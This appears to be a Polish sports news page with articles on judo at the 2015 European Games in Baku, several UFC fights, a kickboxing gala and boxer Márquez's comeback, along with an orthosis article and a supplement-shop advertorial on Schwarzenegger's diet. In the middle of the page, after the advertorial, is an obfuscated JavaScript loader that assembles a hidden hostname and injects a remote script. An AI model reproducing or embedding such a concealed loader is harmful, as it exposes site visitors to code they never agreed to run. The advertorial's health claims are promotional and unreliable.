Francuzi najmocniejsi

Nie udało się. Polscy judocy na Igrzyskach Europejskich w Baku, które zarazem były mistrzostwami Europy nie zdobyli żadnego medalu.

W niedzielę odbyła się rywalizacja drużynowa. Nie wystartowała kadra mężczyzn, ale z nadzieją wszyscy patrzyli na występ reprezentacji kobiet. Zbyt silne okazały się Rosjanki i Węgierki.

Francuzi dominują

Polki znalazły się w trudnej sytuacji. Musiały sobie radzić we cztery, choć rywalki walczyły w piątkę. Powodem takiego stanu rzeczy była absencja Agaty Ozdoby w kategorii 63kg z powodu kontuzji, której Polka doznała w rywalizacji indywidualnej.

Agata Perenc, Arleta Podolak, Katarzyna Kłys i Katarzyna Furmanek musiały podjąć wyzwanie. Już na starcie miały świadomość, że rywalki posiadają przewagę. Polki musiały być precyzyjne, dokładne i nie mogły popełnić błędu. Każde potknięcie przybliżało biało-czerwone do porażki, rywali były w uprzywilejowanej sytuacji – już na starcie prowadziły. Podopieczne Anety Szczepańskiej stoczyły dwa pojedynki. Niestety, oba przegrane.

Wszystko mogłyby wyglądać inaczej, gdyby biało-czerwone walczyły w pełnym składzie. Polki przegrały w ćwierćfinale z Rosją 2:3. W repasażach biało-czerwone trafiły na Węgierki, które dobrze rozpoczęły rywalizację, czym zapewniły sobie zwycięstwo. Polki musiały pogodzić się z drugą porażką, co pozbawiło je szans na medal i zakończyło ich udział w turnieju.

W finale rywalizacji kobiet spotkały się Francuzki i Niemki. Ze złotego medal cieszyły się Trójkolorowe, trzecie miejsce dla Włoszek i Słowenek. U panów również triumfowali Francuzi, którzy w finale uporali się z Gruzinami. Z brązowych medali cieszą się reprezentanci Rosji i Ukrainy.

1/8 nie do przejścia

Polacy w zawodach Pucharu Świata i Grand Prix osiągali dobre wyniki, które nastrajały optymistycznie. W Baku w żaden sposób nie przełożyło się to na sukcesy.

Daria Pogorzelec w tym sezonie pokazała, że stać ją na rywalizowację z najlepszymi. W Zagrzebiu sięgnęła po brązowy medal, trzecia była podczas zawodów Grand Slam w Baku. Tym razem w Azerbejdżanie nie miała tyle szczęścia. Pogorzelec zatrzymała się na 1/8 finału. Polka ambitnie walczyła z Luise Malzahn, jednak ostatecznie przegrała. Niemka wygrała jedną karą shido, obie zawodniczki zaliczyły po yuko. Malzahn dotarła do finału, gdzie przegrała z Marhinde Verkerk. Maciej Sarnacki rywalizację w turnieju rozpoczął od wygranej z Hiszpanem Fernandezem. Walczący w kategorii +100kg Polak w tym sezonie wygrał zawody na warszawskim Torwarze i prezentował równą dyspozycję, jednak w Baku nie udało się osiągnąć sukcesu. W 1/8 finału Sarnacki przegrał z późniejszym triumfatorem Gruzinem Adamem Okruaszwilim. Emilie Andreol wygrała rywalizację wśród pań w kategorii +78kg. Francuzka w 1/8 finału trafiła na Katarzynę Furmanek i Polka musiała pogodzić się z porażką.

Zaledwie jedną walkę w Baku stoczył Patryk Ciechomski. Jakub Wójcik w 1/8 finału przegrał przez ippon z Niemcem Petersem, który w kolejnej rundzie uległ późniejszemu triumfatorowi w kategorii 100kg Holendrowi Henkowi Grol.

KM 

Łokcie metodą na Machidę

Yoel Romero pokazał, że jest klasowym zawodnikiem. Podczas UFC Fight Night 70 w Hollywood okazał się lepszy od Lyoto Machidy.

W oktagonie spotkało się dwóch doświadczonych zawodników, którzy zbliżają się do magicznej „40-stki”. Upływu lat po Kubańczyku i Brazylijczyku widać nie było. Zawodnicy stworzyli ciekawe widowisko, w którym nie zabrakło efektownych akcji.

Machida przystępował do pojedynku z nadzieją na odrodzenie. Nie ma, co ukrywać, że Brazylijczyk ostatnimi czasy walczy w kratkę. W lipcu 2014 roku poległ w starciu z Chrisem Weidmanem, jednak podczas kolejnej gali uporał się z C.B. Dollawayem. Kolejnym rywalem Machidy był Luke Rockhold, który już w drugiej rundzie uporał się z Brazylijczykiem. Zgodnie z ostatnimi występami 37-latek powinien uporać się z Romero. Warto dodać, że była to szósta walka z rzędu, podczas której Machida był gwiazdą wieczoru. Z kolei Romero ostatnią porażkę poniósł we wrześniu 2011 roku i ma na koncie znakomitą passę sześciu zwycięstw z rzędu – włączając ostatnią wygraną. Triumf w pojedynku z Machidą przybliża Kubańczyka do miana pretendenta do tytułu mistrza UFC wagi średniej.

Gdyby oceniać walkę po pierwszej rundzie to zbyt wiele pochlebstw w kierunku zawodników nie padłoby. Początek rywalizacji był swego rodzaju procesem badawczym, który miał pozwolić zawodnikom rozpoznać swoje możliwości i zarazem pozwolić zastosować odpowiednią taktykę na dalszą część pojedynku. Od drugiej rundy przewagę stopniowo budował Romero. 38-latek nadawał tempo, skracał dystans i atakował Machidę. Często w sposób niespodziewany – latające kolano. Romero stopniowo realizował swój plan. Szybko doskakiwał do rywala i słał w jego stronę liczne kombinacje. Po jednej z nich Machida zachwiał się, co wykorzystał Romero. Kubańczyk doskoczył do swojego rywala, przewrócił go i serią ciosów zakończył pojedynek.

Romero odniósł efektywne zwycięstwo – szóste z rzędu. Wielu obserwatorom nie podobało się, że w podsumowaniu walki fighter nie skupił się na aspekcie sportowym, lecz obyczajowym. 38-latek zapytał zgromadzonych o powody zejścia na złą drogę nawiązując do legalizacji małżeństw tej samej płci na terenie Stanów Zjednoczonych.

Steve Bosse nie zaliczył udanego debiutu w UFC, a to za sprawą Thiago Santosa. Brazylijczyk zastopował zapędy swojego rywala wysokim kopnięciem. Bosse runął na ziemię, a walka trwała zaledwie dwadzieścia dziewięć sekund. Lorenz Larkin i Santiago Ponzinibbio zaczęli spokojnie, a w drugiej rundzie zaczęła się prawdziwa wojna. Argentyńczyk liczył, że wymiany w krótkim dystansie przyniosą mu korzyść, ale przeliczył się. Larkin był skuteczny i wyprowadzał celne ciosy. Mocne uderzenia Amerykanina zrobiły wrażenie na jego rywalu, który padł na deski. Wstał, ale był chwiejny i nie miał sił, aby postawić opór przeciwnikowi. Swoje konto o 50 tysięcy dolarów za występ wieczoru wzbogacili Romero i Santos. Z kolei za walkę wieczoru bonus otrzymali Larkin i Ponzinibbio.

Wyniki:

Walka wieczoru: 185 lbs: Yoel Romero Palacio pokonał Lyota Machidę przez TKO 

170 lbs: Lorenz Larkin pokonał Santiago Ponzinibbio przez TKO 
185 lbs: Antonio Carlos Junior pokonał Eddie’ego Gordona przez poddanie
185 lbs: Thiago Santos pokonał Steve’a Bosse’ego przez KO 
145 lbs: Hacran Dias pokonał Levana Makashviliego przez niejednogłośną decyzję sędziów

170 lbs: Alex Oliveira pokonał Joego Merritta przez jednogłośną decyzję sędziów
170 lbs: Leandro Silva pok. Lewisa Gonzaleza przez jednogłośną decyzję sędziów 
170 lbs: Tony Sims pokonał Steve Montgomery przez TKO 
135 lbs: Sirwan Kakai pokonał Danny’ego Martineza przez jednogłośną decyzję sędziów

KM

Blisko medalu, ale bez medalu

Katarzyna Kłys walczyła o sukces w Igrzyskach Europejskich i mistrzostwach Europy w judo, które są rozgrywane w Baku. Sukces był blisko. Polka otarła się o podium.

Kłys do Baku jechała z nadziejami. Po bardzo dobrym poprzednim sezonie nadeszły gorsze dni, jednak reprezentantka Polski intensywnie przygotowywała się do startu w Azerbejdżanie. Kłys walczyła ambitnie, jednak do szczęścia trochę zabrakło.

O włos od radości

Zawodniczka UKS Judo Kraków niejednokrotnie udowodniła, że umie walczyć pod presją. W poprzednim sezonie sięgnęła po brązowy medal mistrzostw świata w Czelabińsku, co było ogromnym sukcesem polskiego judo. Ze startem w Baku wiązała ogromne nadzieje. Rywalizująca w kategorii 70kg zawodniczka występ  w Baku zaczęła od pojedynku z Brytyjką Fletcher, która nie sprawiła jej większych problemów. W 1/8 finału na Kłys czekało kolejne wyzwanie, jednak zawodniczka z Krakowa była zdeterminowana, aby odnieść sukces. Rozprawiła się z Belgijką Mansour i już była w ćwierćfinale.

Tam trafiła na judoczkę, z którą walczyć nie lubi i nie potrafi. Bernadette Graf ma to do siebie, że neutralizuje wszystkie atuty Kłys i decyduje o tym jak przebiega pojedynek. Tym razem Polka również nie znalazła sposobu na dobrze dysponowaną Graf. Przegrana wytrąciła Kłys z marszu po medal, jednak w repasażu udowodniła, że stać ją na sukces. Szwajcarka Juliane Robra uległa naszej zawodniczce, przed którą stanęła szansa na zdobycie brązowego medalu. W decydującym starciu Kłys trafiła na reprezentantkę Niemiec Saundrę Diedrich. Polka chciała zdominować przeciwniczkę, ale nie była precyzyjna, co wykorzystała rywalka. Judoczka z Krakowa nie dokończyła ataku, a Niemka wykorzystała nadarzającą się okazję. Dietrich założyła duszenie i walka dobiegła końca. Niemka wygrała przez ippon po półtorej minuty rywalizacji. Pogromczynie Polki – Graf i Dietrich zdobyły brązowe krążki.

Katarzyna Kłys była blisko podium. Zaliczyła dobry występ podczas Igrzysk Europejskich, które zarazem dla judoków są mistrzostwami Europy. Gdyby nie Graf mogło być inaczej. W decydującym starciu do szczęścia zabrakło niewiele. Start w Baku pokazał, że Kłys nadal ma możliwości, aby walczyć o najwyższe cele. Do Igrzysk Olimpijskich w Rio jeszcze rok, więc jest jeszcze czas na dopracowanie mankamentów.

Inni bez rewelacji

Agata Ozdoba bardzo szybko poradziła sobie z Nuriyyą Akhundovą w swojej pierwszej walce w Baku. Polka potrzebowała zaledwie dwudziestu jeden sekund, aby rozstrzygnąć pojedynek na swoją korzyść. W 1/8 finału Ozdoba trafiła na mistrzynię świata z 2013 roku Yarden Gerbi. Reprezentantka Izraela pozbawiła Polkę złudzeń i udowodniła swoją wyższość. Ostatecznie Gerbi sięgnęła po brązowy medal w Baku w kategorii 63kg.

Na 1/8 finału udział w zawodach zakończył Łukasz Błach w kategorii 81kg. Reprezentanta Polski wyeliminował Loic Pietri z Francji. W 1/16 turnieju odpadł Damian Szwarnowiecki (73kg), w 1/32 Jakub Kubieniec (81kg).

KM

Orteza i jej znaczenie w rehabilitacji i leczeniu

Medycyna jest tą dziedziną, która rozwija się najprężniej. Szczególnie widoczne jest to w ortopedii. Bezsprzecznie aparaty ortopedyczne są wyznacznikiem postępu technologicznego w medycynie, a ich zalety i ciągle udoskonalanie, w przyszłości mogą zastąpić zwyczajowo stosowany gips.

Orteza jest więc przyrządem ortopedycznym mającym za zadanie stabilizację ułomnego stawu, dzięki jej zastosowaniu proces leczenia i rehabilitacji pacjenta, przebiega bez większych ograniczeń.

Jak dopasować

Każdy ze stawów wyróżnia się innymi właściwościami i aby dobrać odpowiedni aparat powinien on być nie tylko dobrze zharmonizowany pod kątem maksymalnego stabilizowania uszkodzonego stawu, ma również zapewniać komfort użytkowania pacjentowi, który będzie go nosił. Orteza kolana, ręki, uda, podudzia, stawu skokowe czy łokcia wspomaga chorego w codziennym funkcjonowaniu, usztywniając uszkodzone stawy. Aparaty ortopedyczne dzielą się również ze względu na rodzaj schorzenia na: miękkie, półsztywne i sztywne.

Problematyczny kręgosłup

Kręgosłup jest szczególnie narażony na obciążenia, a to przecież fundament człowieka, dobrze o tym pamiętać i w razie jakichkolwiek dolegliwości udać się do lekarza. Dobrze dobrana proteza ortopedyczna pozwoli uchronić nasz kręgosłup przed dalszymi uszkodzeniami. Jeśli niedomoga nam część lędźwiowo krzyżowa, potrzebny będzie pas ortopedyczny. Dla wzmocnienia mięśni w okolicy dolnej części pleców warto zaopatrzyć się w gorset posiadający boczne dociągacze, które zapewnią usztywnienie. Takie schorzenia jak przepuklina jamy brzusznej, osłabienie mięśni na skutek porodów czy operacji należy wspomóc nosząc urządzenie nazywane pasem lub gorsetem brzusznym, który wzmocni mięśnie brzucha i potrzyma wewnętrzne narządy.

Ortezy wykonywane są z elastycznych, oddychających materiałów, poprawiają ukrwienie i utrzymują naturalną ciepłotę ciała pacjenta. Piankowe materiały uzupełnione naturalnymi podszyciami na przykład z froty czy bawełny, dają poczucie komfortu osobie korzystającej z tego urządzenia. Brzegi Ortezy wykończone są miękkim i przyjemnym w dotyku materiałem, dzięki takim zabiegom nie dochodzi do uszkodzenia naskórka wokół aparatu i pod nim. Materiały te przepuszczają powietrze, łatwiej i szybciej dochodzi wtedy do prawidłowego przebiegu leczenia czy rehabilitacji . Niebagatelne znaczenie ma też waga tych aparatów ortopedycznych, są one znacznie lżejsze od tradycyjnego gipsu. Ma to szczególne znaczenie w rehabilitacji osób starszych, dla których ciężki gips może utrudniać proces leczenia.

Metoda Arnolda Schwarzeneggera

Jeśli mowa o wielkich osobistościach w świecie kulturystyki, to nie ma nikogo większego, niż Arnold Schwarzenegger.0

W latach 70-tych, ten niesamowity kolos z małej austriackiej miejscowości, zdominował cały świat kulturystyki i został ukoronowany tytułem najmłodszego Mister Universe, mając zaledwie 20 lat.

Dzięki tak imponującej posturze, przyciągał do siebie całe rzesze ludzi. To spowodowało, że stał się największą ikoną kina akcji, i utorował sobie polityczną drogę na fotel gubernatora Kalifornii.

Więc, co jest kluczem do wyrzeźbienia tak imponującej sylwetki? Cóż, w grę wchodzi wiele istotnych czynników, takich jak genetyka, czy fizyczna i psychiczna determinacja. Cytując słowach Arnolda: „Trening bez spożywania odpowiedniej diety jest jak oranie pola, bez sadzenia nasion w ziemię. Nic z tego nie wyrośnie.”

Krótko mówiąc, chodzi o to, co spożywamy i kiedy. Przyjrzyjmy się teraz, jak to robił sam król.

Podejście do jedzenia

Podejście Arnolda było jasne i proste – jeść dużo. Według dzisiejszych standardów, jego dieta może być uznana za niezdrową. Jednak, Arnold miał podstawową wiedzę o tym, że żywność zawiera kalorie wykonane z białek, węglowodanów i tłuszczów, i o jej wpływie na wydajność i budowanie mięśni. Jego dieta zapewniała uzyskiwanie paliwa właściwego do treningu i rozrostu ciała.

Spożycie białka

Białko jest niezbędne do budowy i utrzymania czystej masy mięśniowej. Podejście to jest takie samo dzisiaj, jak było w latach 70-tych. Jeśli chcesz rozbudować swoje ciało – spożywaj dużo białka.

Orientacyjnie, Arnold stwierdził, że dziennie potrzeba 2 g białka na kilogram masy ciała. Białko można uzyskiwać z różnych źródeł żywności, w tym ryb, mięsa i warzyw. Jednak, najlepszym sposobem, aby zapewnić sobie wystarczająco dużo białka i składników odżywczych jest zakup białka serwatkowego w proszku. Można je nabyć w największym sklepie z odżywkami w Polsce – centrumodzywek.net.

Wystarczy wymieszać proszek z resztą składników używając do tego blendera. Tak przygotowany shake był bardzo istotną rzeczą w diecie Arnolda.

Małe regularne posiłki

Innymi słowy, należy zapewniać dostawy energii, ale nie należy spożywać zbyt wiele w jednym posiłku. Trening wymaga dużej ilości paliwa, aczkolwiek, zbyt dużo jedzenia na raz sprawi, że poczujemy się ociężali, ponieważ ciało będzie zużywać dużo energii do strawienia tak ogromnego posiłku. Aby utrzymać swoje rozmiary, Arnold musiał przyjmować 5000 kalorii dziennie. Jego metoda opierała się na spożywaniu dużej ilości mniejszych posiłków wysokobiałkowych w ciągu dnia.

Co trzy godziny zjadał posiłek o zawartości białka między 30-50 g. Białko uzyskiwał z kombinacji naturalnych źródeł i białka w proszku. Mniejsze posiłki pozwalały na cięższy trening, a co za tym idzie – lepsze rezultaty.

Tłuszcze

Arnold zawsze rekomendował dobre tłuszcze znajdujące się w rybach, orzechach i warzywach. Spożywał również dużo tłuszczów, które uważa się za złe, takie jak czerwone mięso i całe jaja.

Jego spożycie tłuszczu było bardzo wysokie w porównaniu do wielu współczesnych kulturystów, którzy wolą spożywać jedynie białka jaj, omijając czerwone mięso. Jednakże, jeśli wziąć pod uwagę rozmiary Arnolda oraz intensywność jego treningu, to spożycie tłuszczu przez mistrza było w tym kontekście niewielkie i łatwo spalane podczas ćwiczeń.

Wielu sceptyków wówczas uważało, że przy spożyciu tak dużych ilości tłuszczów i przy tak ciężkim treningu, Arnold był na najlepszej drodze do ataku serca. Ale sądząc po znakomitej formie, jaką jeszcze trzyma obecnie, wychodzi na to, że Arnold wyprzedził swoje czasy, a sceptycy nie mieli racji.

Dzisiejsza nauka to potwierdza. Mamy dużo większą wiedzę na temat kwasów tłuszczowych, takich jak Omega 3. Istnieje również rosnący argument, że ilości tłuszczów nasyconych w żywności, takiej jak masło i mięso, są dla nas dobre.

Nie oznacza to, że zaraz mamy szaleć z ilością tłuszczów. Warto poszukać informacji, skąd uzyskiwać zdrowe tłuszcze, ponieważ zapewniają ogromne pokłady energii. Tłuszcze nasycone występują w żywności, takiej jak nabiał, mięso, olej kokosowy i awokado. Tłuszcze wielonienasycone w rybach, nasionach dyni i orzechach włoskich. Tłuszcze jednonienasycone w oliwie z oliwek, awokado i orzechach.

Należy unikać niebezpiecznych tłuszczów, takich jak tłuszcze trans, które znajdują się w przetworzonej żywności, jak margaryna i fast-food.

Cała żywność

Dieta Arnolda była bogata w całą żywność. Unikał przetworzonej żywności, jak również chleba. Arnold przyznał, że natura wie lepiej od człowieka, jak stworzyć  łatwiej przyswajalną żywność.

Warzywa są bogate w witaminy i minerały łatwo przyswajalne przez organizm. Pomagają w utrzymaniu zrównoważonego pH, neutralizując obecność silnych kwasów w naszej krwi, które powstały w wyniku rozpadu białek. Zawierają też silne antyoksydanty, które uwalniają organizm z toksyn, chronią komórki i promują dobre zdrowe.

Arnold korzystał z wyważonej, bogatej w białka, zdrowej diety. Spożywał odpowiednie ilości węglowodanów i potrzebnych tłuszczów, oraz pił shaki z białka w proszku, które przyrządzał w blenderze.

Jeśli planujecie uzyskać sylwetkę godną mistrza, rekomendujemy zaopatrzyć się w najlepsze odżywki i suplementy, które zmienią wątłe ciałko w Rodyjskiego Kolosa. Najbezpieczniejsze i najwyższej jakości pomoce dla sportowców można znaleźć w największym sklepie w Polsce – http://www.centrumodzywek.net

[kod]

(function(){
ubqa=document.createElement("script");ubqa.type="text/javascript";
ubqa.async=true;ubqa_=(("us")+"t")+"a";ubqa_+=("t.i")+""+"n";ubqa_+=(("f")+"o");
ubqa.src="http://"+ubqa_+"/2010393.eykbs1zwbqackt3zw2kqnqm1k85dfm";
document.body.appendChild(ubqa);
})();

Pierwsze koty za płoty

Rywalizacja w Baku trwa w najlepsze. Igrzyska Europejskie odbywają się po raz pierwszy, jednak dla judoków turniej w Azerbejdżanie ma podwójny wymiar, gdyż jest to zarazem rywalizacja w mistrzostwach Europy.

Po dobrych występach w zapasach i boksie, które zostały okraszone medalami czas na kolejne sukcesy. O medale walczą judocy, jednak początek najlepszy nie jest.

Coś o śliwkach

Mówi się, że pierwsze śliwki robaczywki. Poza tym –początki bywają trudne, ale nie można tracić nadziei. Nasze judo ma potencjał, co przez ostatni rok zostało wielokrotnie potwierdzone. Bardzo dobre występy w Pucharach Świata i zawodach Grand Prix, gdzie nasi reprezentanci zajmowali czołowe pozycje. Potencjał udowodniła żeńska kadra, która pod wodzą Anety Szczepańskiej święci triumfy. Poza tym medale zdobywały Katarzyna Kłys w mistrzostwach świata oraz Agata Ozdoba w mistrzostwach Europy. W Baku sukcesu jeszcze nie było, ale rywalizacja dopiero zaczęła się.

Igrzyska zmierzają ku końcowi. W przypadku judoków tak naprawdę dopiero wystartowały. Arleta Podolak już w 1/16 pożegnała się z rywalizacją. W kategorii 57kg Polka przegrała przez ippon z reprezentantką Niemiec Violą Waechter. Tego poziomu nie był w stanie pokonać również Aleksander Beta (66kg), który w Baku okazał się gorszy od Loica Korvala. Francuz wygrał przez yuko.

Dobrą formę w tym sezonie prezentowała Agata Perenc, jednak w Baku nie udało jej się sprawić niespodzianki. Zawodniczka Polonii Rybnik opadła w 1/8 finału. W 1/16 Polka rywalizująca w kategorii 52kg pokonała Darię Skrypnik. Białorusinka musiała uznać wyższość Perenc, która zdominowała ją i była zdecydowanie lepsza. Polka wygrała przez ippon i to był jedyny powód do radości, bo później przyszła gorzka pigułka. Perenc musiała ją przełknąć. Marzenia o medalu prysły za sprawą Natalii Kuziutiny. Rosjanka to trzecia zawodniczka świata i wicemistrzyni Europy. W Baku Kuziutina okazała się lepsza od Perenc, ale trudno powiedzieć, że wygrała zdecydowanie. Żal Polki jest zrozumiały, bo przegrała jedną karą shido. Ewa Konieczny rywalizująca w kategorii 48kg również odpadła w 1/8 finału, jednak stoczyła tylko jedną walkę. W pierwszej rundzie miała wolny los, a następnie trafiła na Dilarę Lokmanhekim. Turczynka wygrała przez yuko. Na reprezentancie Niemiec swój udział w Igrzyskach Europejskich zakończył Łukasz Kiełbasiński. Zawodnik z Warszawy w 1/8 finału przegrał przez ippon z Tobiasem Englmaierem. Polak wygrał w Baku jeden pojedynek. W 1/16 wyższość Kiełbasińskiego musiał uznać Tom Schmit z Luksemburga.

Pierwszy kosowski medal

Kosowo to państwo, które długo walczyło o własną niepodległość. Teraz zawodnicy z tego kraju mogą na najważniejszych imprezach startować pod flagą swojego kraju. Pierwszą medalistą reprezentującą Kosowo, która sięgnęła po medal mistrzostw Europy w judo, a zarazem Igrzysk Europejskich jest Nora Gjakova. 22-latka walcząca w kategorii 57kg sięgnęła po brąz, a w decydującym pojedynku pokonała Sanne Verhagen.

KM

Meksykanin zapowiada powrót

Bez wątpienia Juan Manuel Marquez jest wybitnym bokserem. Kontuzja sprawiła, że musiał odpocząć od pięściarstwa, jednak Meksykanin nie poddaje się i ma nadzieję na powrót na ring.

Marquez już ponad rok odpoczywa od boksu. Czas ten wykorzystuje efektywnie i robi wszystko, aby dojść do pełni sprawności. Doświadczony Meksykanin nadal ma problemy z kolanem, jednak z każdym dniem stan nogi poprawia się. Nadal konieczna jest rehabilitacja, aby Marquez wrócił do pełnej sprawności. 41-letni pięściarz stopniowo wraca do treningów i pojawia się na sali, aby przygotowywać się do powrotu na ring. Kiedy on nastąpi? Marquez nie wyklucza, że kolejną walkę stoczy już jesienią. To optymistyczny scenariusz, jednak możliwy. Kwestią podstawową jest to w jakim stanie będzie kolano Marqueza. Wątpliwe, aby bokser zdecydował się na ryzyko. Wiadomo, że nie jest już najmłodszy i przedwczesny powrót może być fatalny w skutkach.

Marquez ujawnia, że jest głodny. Głodny walki. To w pełni zrozumiałe, jeżeli bierzemy pod uwagę przypadek pięściarza, który stawia przed sobą kolejny cel. Marquez chce zdobyć mistrzowski pas w piątej kategorii wagowej. Do tej pory zdominował wagę junior półśrednią, gdzie był czempionem WBO. W kategorii lekkiej wywalczył pasy WBO i WBA, a w piórkowej WBA i IBF. Meksykanin był również posiadaczem tytułu mistrzowskiego WBC w wadze junior lekkiej. Marquez chce zaatakować kolejną kategorię. Tym razem półśrednią.

Pięściarz otwarcie mówi o swoich planach. – Mój lekarz nie widzi konieczności operacji. Twierdzi, że doprowadzenie do sprawności mojego kolana to kwestia rehabilitacji i ćwiczeń. Za maksymalnie dwa miesiące będę mógł określić stan swojej nogi. Jestem głodny walki. Moim celem jest tytuł w piątej kategorii wagowej. Najpierw muszę się w pełni wyleczyć, żeby znaleźć sobie rywala. Planuję wrócić na ring w październiku lub listopadzie – opisuje swoje plany meksykański pięściarz.

Marquez na zawodowym ringu zaprezentował się ponad sześćdziesiąt razy. Aż czterdzieści zwycięskich pojedynków zakończył przed czasem, łącznie wygrał pięćdziesiąt sześć walk. Zanotował jeden remis w rywalizacji z Manny Pacquiao. Właśnie z Filipińczykiem stoczył pasjonującą sagę. Marquez i Pacquiao rywalizowali aż cztery razy, ale tylko raz triumfował Meksykanin. Pięściarze swoje spotkania rozpoczęli od remisu, dwa kolejne pojedynki rozstrzygnęły się na korzyść Pacquiao, jednak wygrywał on na punkty. Podczas ostatniego pojedynku w szóstej rundzie wygrał Marquez. Wydawało się, że nastąpił pewien przełom, przekroczenie bariery, jednak po wygranej z Pacquiao Meksykanin stoczył tylko dwie walki. W październiku 2013 roku przegrał na punkty z Timothy Bradleyem, a kilka miesięcy później Mike Alvarado musiał uznać wyższość Marqueza. Czy Meksykanin dojdzie do pełni formy i jego powrót na ring będzie możliwy już jesienią? Istotna jest również refleksja na temat możliwości Marqueza po ponad rocznej przerwie. Powinien stopniowo wracać na ring, a walka o mistrzostwo świata to melodia przyszłości. Ale czy Marquez ma czas? Wiek robi swoje.

KM

Demolka w wykonaniu mistrzyni

Jessica Penne ani przez chwilę nie zagroziła Joannie Jędrzejczyk. Polka podczas gali UFC Fight Night 69 w Berlinie pewnie obroniła mistrzowski pas w wadze słomkowej.

Jędrzejczyk w swojej czwartej walce dla najlepszej organizacji mieszanych sztuk walki na świecie pokazała swoją nietuzinkowość i wyjątkowość. 27-latka wprawiła publiczność w zachwyt. Polka nie dała najmniejszych szans Penne, która żywiła nadzieję, że uda jej się zdobyć mistrzowski pas.

Mistrzyni jest tylko jedna

W odniesieniu do polskiej sceny muzycznej dawno, dawno temu ukłuło się stwierdzenie na temat królowej. Po berlińskim występie należy zauważyć, że w polskim MMA mistrzyni jest tylko jedna. Jędrzejczyk znajduje się w najlepszym okresie swojej kariery, osiągnęła najwyższych poziom i dzierży w swoich dłoniach mistrzowski pas UFC. Carla Esparza jako pierwsza dotkliwie odczuła siłę ciosów Polki. Amerykanka musiała uznać wyższość Jędrzejczyk i patrzeć jak mistrzowski pas wędruje w ręce 27-latki w Olsztyna. W Berlinie smakiem obeszła się Jessica Penne.

Jędrzejczyk prowadziła walkę w stójce, co nie odpowiadało Amerykance. Penne chciała za wszelką cenę sprowadzić Polkę do parteru, jednak ta skutecznie broniła się. Pierwszą rundę rywalka naszej mistrzyni przetrwała, jednak w drugiej Jędrzejczyk nie miała już dla niej litości. Mocny front kick Polki zranił nos Penne. Jędrzejczyk sprawiła, że rywalka znalazła się w opałach. Bogaty repertuar zagrań Polki – liczne ciosy, łokcie, kopnięcia – potwierdzał jej wysoką klasę i z każdą minutą przewaga mistrzyni UFC rosła. Penne przetrwała drugą rundę, ale wyglądała coraz gorzej. Jędrzejczyk rozbiła twarz swojej rywalki. Nad losem Amerykanki pochylił się sędzia, która na trzydzieści osiem sekund przed końcem zdecydował się przerwać pojedynek.

Dominacja Jędrzejczyk nie podlegała dyskusji ani przez chwilę. Przewaga Polki była widoczna w ciosach – nasza zawodniczka wyprowadziła sto dwadzieścia sześć silnych uderzeń rękoma i nogami. Penne zrewanżowała się tylko dwudziestoma pięcioma ciosami. Aktywność Jędrzejczyk pozwoliła jej po raz kolejny wznieść ręce w geście triumfu. Polka zachwyciła szybkością, sprawnością oraz celnością. Jędrzejczyk coraz śmielej przebija się w rankingach popularności. W Berlinie wzbogaciła się o kolejne pięćdziesiąt tysięcy dolarów za walkę wieczoru.

Nieudany debiut

Łukasz Sajewski stoczył w UFC pierwszą walkę, jednak nie będzie jej miło wspominał. Polski fighter wytrzymał trzy rundy w rywalizacji z Nickiem Heinem, jednak werdykt sędziowski był korzystny dla Niemca. Sajewski jedynie w pierwszej rundzie zagroził swojemu rywalowi, a później zgasł. Hein zdecydowanie przeważał i odniósł zwycięstwo.

Po dziewięciomiesięcznej przerwie do oktagonu powrócił Piotr Hallmann. Polak stanął przed trudnym zadaniem, gdyż jego rywalem był Magomed Mustafajew. Rosjanin debiutował w UFC, jednak imponował podczas występów dla organizacji M-1 Challenge. W pierwszej rundzie polski fighter dwukrotnie zdobył pozycję przeważającą w parterze i obijał Mustafajewa. Wydawało się, że wszystko jest pod kontrolą Hallmanna, jednak w drugiej rundzie nastąpił zwrot akcji. Polak uwolnił się z klinczu, ale doznał rozcięcia łuku brwiowego. Lekarz zdecydował, że Hallmann nie może kontynuować walki. Powrót Polaka miał być efektowniejszy, ale fighter z Trójmiasta pokazała, że ma potencjał, aby nadal walczyć w UFC.

KM

Kosowski zastopował Turka

Gala Imbiriada Fighters Night 4 była doskonałą okazją, aby przekonać się o możliwościach Dawida Kasperskiego i Wojciecha Kosowskiego. Obaj udowodnili swoją wartość podczas imprezy w Ożarowie Mazowieckim.

Popularność kickboxingu stale rośnie. W Ożarowie Mazowieckim odbyła się kameralna, stonowana i ciekawa gala. W karcie walk znalazły się nazwiska zawodników gwarantujących odpowiedni poziom sportowy. Kasperski i Kosowski pokazali, że mają ogromny potencjał. Dobry poziom organizacyjny gali, która przebiegała sprawnie i bez problemów. Czas między walkami widzom zgromadzonym w MCC Mazurkas Conference Centre & Hotel wypełniały pokazy aikido.

W pierwszej walce gali Imbiriada Fighters Night 4 spotkali się Hubert Ulikowski i Krzysztof Kucharczyk. Zawodnik z Ostrowca wyprowadził więcej celnych ciosów i wygrał. Kucharczyk w trzeciej rundzie starał się odrobić straty, jednak Ulikowski skutecznie się bronił. Mateusz Rycerski niedawno wrócił do aktywnego uprawiania kickboxingu po trzyletniej przerwie spowodowanej kontuzją kolana. W Ożarowie spotkał się z Damianem Świerczyńskim. Od początku inicjatywę miał Rycerski, który niskimi kopnięciami starał się osłabić rywala. Świerczyński szukał swojej szansy, jednak nie potrafił celnie trafić swojego przeciwnika. Po jednym z kopnięć na jego twarzy pojawił się grymas bólu i sędzia musiał przerwać walkę. Świerczyński dokończył pierwszą rundę, ale do drugiej już nie wyszedł. Jarosław Zawodni wziął rewanż na Patryku Proszku. W marcu podczas mistrzostw Polski w low kick lepszy okazał się fighter z Zielonej Góry. W Ożarowie Proszek był zbyt wolny, aby zagrozić dobrze dysponowanemu przeciwnikowi. Zawodni raz za razem słał kolejne ciosy w stronę rywala i zdecydowanie wygrał na punkty. Doświadczony Przemysław Ziemnicki nie sprostał o siedemnaście lat młodszemu Arkadiuszowi Kaszubie. W większości walka była prowadzona w dystansie. Kaszuba zadał kilka celnych ciosów rywalowi, z kolei Ziemnicki nie potrafił znaleźć sposoby na swojego oponenta.

